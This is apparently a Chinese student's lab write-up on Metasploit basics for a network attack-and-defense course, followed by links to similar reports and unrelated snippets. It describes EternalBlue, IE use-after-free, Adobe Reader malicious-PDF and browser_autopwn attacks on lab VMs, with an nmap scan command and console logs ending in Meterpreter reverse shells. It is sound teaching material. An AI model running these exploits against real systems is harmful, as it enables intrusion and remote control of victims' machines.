2018-2019-2 20165325 《网络对抗技术》 Exp5:MSF基础应用


实验内容(概要)

1.1 一个主动攻击实践,本实验选择 ms17_010_eternalblue(成功);

1.2 一个针对浏览器的攻击,本实验选择ie_cbutton_uaf(成功)、ie_setmousecapture_uaf(成功唯一);

1.3 一个针对客户端的攻击,本实验选择Adobe_toolbutton(成功);

1.4 成功应用任何一个辅助模块,本实验选择browser autopwn(成功)。


实验步骤

1.1 一个主动攻击实践,本实验选择ms17_010_eternalblue(成功);

1.1.1 关于ms17_010_eternalblue

程序Description如下:

This module is a port of the Equation Group ETERNALBLUE exploit, part of
the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be
run continuously until triggered. It seems like the pool will get hot streaks
and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the
exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or
a reboot. This may be more likely with some payloads.

该程序利用Srv!SrvOs2FeaToNt的缓冲区溢出漏洞,重新布局SMBv1缓冲区,获取权限。

似乎与永恒之蓝的勒索病毒有关系,wannacry。针对445端口,影响范围较广。

实际攻击之前可以使用nmap -sV -Pn -p1-65535 -O -v 10.0.3.65进行端口扫描。

1.1.2 攻击过程及结果

本次攻击的靶机为server 2008;

攻击前设置各参数如下:

攻击成功以后可以获取靶机shell:

1.1.3 分析

当防火墙打开时,攻击仍然能成功:

猜测原因:可能是445端口打开,防火墙信任这个端口(445端口一般用作在局域网中访问各种共享文件夹或共享打印机,是tcp连接)。

过程分析:

[*] Started reverse TCP handler on 192.168.1.207:5325
[*] 192.168.1.196:445 - Connecting to target for exploitation.
[+] 192.168.1.196:445 - Connection established for exploitation.
[+] 192.168.1.196:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.196:445 - CORE raw buffer dump (38 bytes)
/************************************检查操作系统************************************/
[*] 192.168.1.196:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.1.196:445 - 0x00000010 30 30 38 20 52 32 20 44 61 74 61 63 65 6e 74 65 008 R2 Datacente
[*] 192.168.1.196:445 - 0x00000020 72 20 37 36 30 30 r 7600
/************************************框架有效************************************/
[+] 192.168.1.196:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.196:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.196:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.196:445 - Starting non-paged pool grooming
[+] 192.168.1.196:445 - Sending SMBv2 buffers
[+] 192.168.1.196:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.196:445 - Sending final SMBv2 buffers.
[*] 192.168.1.196:445 - Sending last fragment of exploit packet!
[*] 192.168.1.196:445 - Receiving response from exploit packet
[+] 192.168.1.196:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.196:445 - Sending egg to corrupted connection.
[*] 192.168.1.196:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.196
[*] Meterpreter session 2 opened (192.168.1.207:5325 -> 192.168.1.196:49188) at 2019-04-14 17:01:29 +0800
[+] 192.168.1.196:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.196:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.196:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

根据description,可能成功率不是百分之百,但是他可能会不断尝试:

This exploit, like the original may not trigger 100% of the time, and should be
run continuously until triggered. It seems like the pool will get hot streaks
and need a cool down period before the shells rain in again.

xp的系统攻击失败(但是看得出他在不断尝试):

[*] Started reverse TCP handler on 192.168.1.207:5325
[*] 192.168.1.146:445 - Connecting to target for exploitation.
[+] 192.168.1.146:445 - Connection established for exploitation.
[+] 192.168.1.146:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.146:445 - CORE raw buffer dump (11 bytes)
[*] 192.168.1.146:445 - 0x00000000 57 69 6e 64 6f 77 73 20 35 2e 31 Windows 5.1
[+] 192.168.1.146:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.146:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.146:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.146:445 - Starting non-paged pool grooming
[+] 192.168.1.146:445 - Sending SMBv2 buffers
[+] 192.168.1.146:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.146:445 - Sending final SMBv2 buffers.
[*] 192.168.1.146:445 - Sending last fragment of exploit packet!
[*] 192.168.1.146:445 - Receiving response from exploit packet
[+] 192.168.1.146:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.146:445 - Sending egg to corrupted connection.
[*] 192.168.1.146:445 - Triggering free of corrupted buffer.
[-] 192.168.1.146:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.1.146:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.1.146:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.1.146:445 - Connecting to target for exploitation.
[+] 192.168.1.146:445 - Connection established for exploitation.
[+] 192.168.1.146:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.146:445 - CORE raw buffer dump (11 bytes)
[*] 192.168.1.146:445 - 0x00000000 57 69 6e 64 6f 77 73 20 35 2e 31 Windows 5.1
[+] 192.168.1.146:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.146:445 - Trying exploit with 17 Groom Allocations.
/**************************失败之后下一次尝试更换了Groom Allocations**************************/
[*] 192.168.1.146:445 - Sending all but last fragment of exploit packet

1.2 一个针对浏览器的攻击,本实验选择ie_cbutton_uaf(成功);

1.2.1 关于ie_cbutton_uaf

程序Description如下:

This module exploits a vulnerability found in Microsoft Internet Explorer. A
use-after-free condition occurs when a CButton object is freed, but a reference
is kept and used again during a page reload, an invalid memory that's controllable
is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting
mainly China/Taiwan/and US-based computers.

此模块利用在Microsoft Internet Explorer中发现的漏洞。

一释放cButton对象就引用,在页面重新加载期间保留并可以再次使用,允许在用户上下文中执行任意代码。

此漏洞已在野生目标中被利用主要是中国/台湾/和美国计算机。

1.2.2 攻击过程及结果

本次攻击的靶机为win xp;

攻击前设置各参数如下:

攻击机exploit,靶机主动访问攻击机生成的server地址,即可触发攻击。

攻击后session 1 opened即成功,之后输入sessions -i xxx打开会话,xxx为session号。

攻击成功以后可以获取靶机shell:

1.2.3 分析

这次攻击的过程要求靶机主动访问攻击机的server网页,这样主动向外连接的攻击过程不会被防火墙拦截。

攻击具有一定的局限性,靶机必须使用特定的ie浏览器,如下为靶机浏览器的版本:

使用其他的浏览器就不能完成攻击:

那么攻击的场景就局限于:靶机使用特定的浏览器(使用ie8)并且访问特定的网址。这可能需要更多的工作(比如说攻击dns服务器来引导别人到你预置的网址)

1.2.4 ie_setmousecapture_uaf攻击(成功唯一)

This module exploits a use-after-free vulnerability that currents targets Internet
Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11.
It was initially found in the wild in Japan, but other regions such as English,
Chinese, Korean, etc, were targeted as well. The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a
reference during an event. An attacker first can setup two elements, where the second
is the child of the first, and then setup a onlosecapture event handler for the parent
element. The onlosecapture event seems to require two setCapture() calls to trigger,
one for the parent element, one for the child. When the setCapture() call for the child
element is called, it finally triggers the event, which allows the attacker to cause an
arbitrary memory release using document.write(), which in particular frees up a 0x54-byte
memory. The exact size of this memory may differ based on the version of IE. After the
free, an invalid reference will still be kept and pass on to more functions, eventuall
this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary
code execution) when this function attempts to use this reference to call what appears to
be a PrivateQueryInterface due to the offset (0x00). To mimic the same exploit found in the wild, this module will try to use the same DLL
from Microsoft Office 2007 or 2010 to leverage the attack.

该漏洞最初在日本被发现,其产生原因是因为mshtml!CDoc::SetMouseCapture函数引用不当。

攻击者首先可以设置两个元素,其中第二个元素是第一个的子级,然后为父级设置OnLoseCapture事件处理程序元素。OnLoseCapture事件似乎需要两个setCapture()调用来触发,一个用于父元素,一个用于子元素。当setCapture()为子级调用元素,它最终触发事件,从而允许攻击者使用document.write()的任意内存释放,特别是释放一个0x54字节记忆。

设置参数如下:(使用默认的reverse_tcp模块回连,默认端口4444即可)

攻击成功之后获取shell

1.3 一个针对客户端的攻击,本实验选择Adobe_toolbutton(成功);

1.3.1 关于Adobe_toolbutton

程序Description如下:

This module exploits a use after free condition on Adobe Reader versions 11.0.2, 10.1.6
and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
the cEnable callback can be used to early free the object memory. Later use of the object
allows triggering the use after free condition. This module has been tested successfully
on Adobe Reader 11.0.2, 10.0.4 and 9.5.0 on Windows XP SP3, as exploited in the wild in
November, 2013.

此模块利用的漏洞是Adobe Reader 11.0.2、10.1.6、9.5.4及之前的版本。此模块在2013年11月,在Windows XP SP3上的Adobe Reader 11.0.2、10.0.4和9.5.0上已成功测试。

1.3.2 攻击过程及结果

本次攻击的靶机为win xp;

攻击前设置各参数如下:

设置完了参数之后exploit,生成目标文件20165325.pdf,即后门程序。

当靶机用带有漏洞的adobe软件打开的时候就会触发回连,这时候使用实验一里面的exploit/multi/handle模块就行了,完成攻击并且回连就行了。

攻击成功之后能获取目标靶机shell:

1.3.3 分析

该实验中使用了回连,因此可以绕过防火墙。

使用的软件是Adobe Reader 9,版本如下。

漏洞久远,难以在杀软打开的情况下运行成功。

1.4 成功应用任何一个辅助模块,本实验选择browser autopwn(成功);

1.4.1 关于browser autopwn

This module has three actions.  The first (and the default)
is 'WebServer' which uses a combination of client-side and
server-side techniques to fingerprint HTTP clients and then
automatically exploit them. Next is 'DefangedDetection' which
does only the fingerprinting part. Lastly, 'list' simply
prints the names of all exploit modules that would be used by
the WebServer action given the current MATCH and EXCLUDE
options.
Also adds a 'list' command which is the same as running with
ACTION=list.

整个模块分为三步走:

  • 第一步,使用客户端和服务器端技术对HTTP客户端进行指纹识别,然后自动攻击它们。

  • 第二步,defangeddetection,它是只做指纹部分。

  • 第三步,列出当前匹配和排除的攻击选项。

还添加一个“list”命令,用法ACTION=list.

1.4.2 攻击过程及结果

靶机为win xp;

攻击参数:

ie浏览器版本同实验1.2,打开浏览器输入网址即可。

攻击成功以后获取shell:

2018-2019-2 20165325 《网络对抗技术》 Exp5:MSF基础应用的更多相关文章

  1. 2018-2019-2 20165205 《网络对抗》 Exp5 MSF基础

    2018-2019-2 20165205 <网络对抗> Exp5 MSF基础 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1 ...

  2. 20155227《网络对抗》Exp5 MSF基础应用

    20155227<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode exploit:把实现设置好的东西送到要攻击的主机里. ...

  3. 20155232《网络对抗》Exp5 MSF基础应用

    20155232<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode. exploit:就是利用可能存在的漏洞对目标进行攻击 ...

  4. 20155302《网络对抗》Exp5 MSF基础应用

    20155302<网络对抗>Exp5 MSF基础应用 实验内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实践,如 ...

  5. 20155323刘威良《网络对抗》Exp5 MSF基础应用

    20155323刘威良<网络对抗>Exp5 MSF基础应用 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.1一个主动攻击实 ...

  6. 20145301 赵嘉鑫 《网络对抗》Exp5 MSF基础应用

    20145301 赵嘉鑫 <网络对抗>Exp5 MSF基础应用 一 实验链接 渗透实验一:MS08_067渗透实验 渗透实验二:MS14_064渗透实验  (首用) 渗透实验三:Adobe ...

  7. 20145215《网络对抗》Exp5 MSF基础应用

    20145215<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码 ...

  8. 20145208 蔡野 《网络对抗》Exp5 MSF基础应用

    20145208 蔡野 <网络对抗>Exp5 MSF基础应用 链接地址 主动攻击:利用ms08_067_netapi进行攻击 对浏览器攻击:MS10-002 对客户端攻击:adobe_to ...

  9. 20145311王亦徐 《网络对抗技术》 MSF基础应用

    20145311王亦徐 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,以ms ...

  10. 20145325张梓靖 《网络对抗技术》 MSF基础应用

    20145325张梓靖 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,这里以 ...

随机推荐

  1. 11 Django REST Framework 针对基于类的视图添加 @csrf_exempt

    01-在类的 dispatch 方法上使用 @csrf_exempt from django.views.decorators.csrf import csrf_exempt class MyView ...

  2. 10-PI开发手册-ERP发布服务供外围系统调用(RFC类型)

      一.      文档信息 版本号* 更新日期* 姓名* 更新内容及更新理由* 备注* V1.0 2019/02/19 fanjb 文档创建 以福利接口13589(Z00HRJ_GJJ_REV_FI ...

  3. Trie树(字典树)推荐文章

    Trie树也被称为字典树,通过这个名字,可以明显知道这种树的结构:像字典一样进行查找的树(想想采用拼音法查找汉字的时候的过程,实质上就是一个逐字母匹配的过程).Trie树就是利用了这种思想构造出来的多 ...

  4. HTML5网页点击分享到whatsapp

    一.在网页头部加入分享标题和url,代码如下: <meta name="whatsapp:url" class="share_url" content=& ...

  5. Photoshop快速给美女人像换头发

    今天给大家带来的教程是应用PS来抠出人物图片的发丝和修改头发的颜色. OK开始今天的教程 1.将素材文件拖拽进PS,CTRL+J复制一层. 2.应用快速选择工具大致的将头发部分选区出来,不需要太过仔细 ...

  6. 用redis实现分布式锁,秒杀案例(转)

    分布式锁的简单实现代码: 需要的jar包: jedis-2.9.0.jar. commons-pool2-2.4.2.jar import java.util.List; import java.ut ...

  7. webmagic保存数据

    使用多线程:

  8. 判断一个点是否在某个区域内。百度,高德,腾讯都能用。(php版)

    <?php // *** 配置文件(表示区域的三维数组)其内的点,必须按顺时针方向依次给出! $area = array( // 天通苑店 0 => array( array('x'=&g ...

  9. Windows kafka_2.11-1.1.0安装

    #broker.id= #broker.list=,, listeners=PLAINTEXT://127.0.0.1:9092 advertised.listeners=PLAINTEXT://12 ...

  10. python-装饰器的最终形态和固定格式 语法糖

    import time def timer(f): # 这是一个装饰器函数 def inner(): start = time.time() f() # 被装饰的函数 end = time.time( ...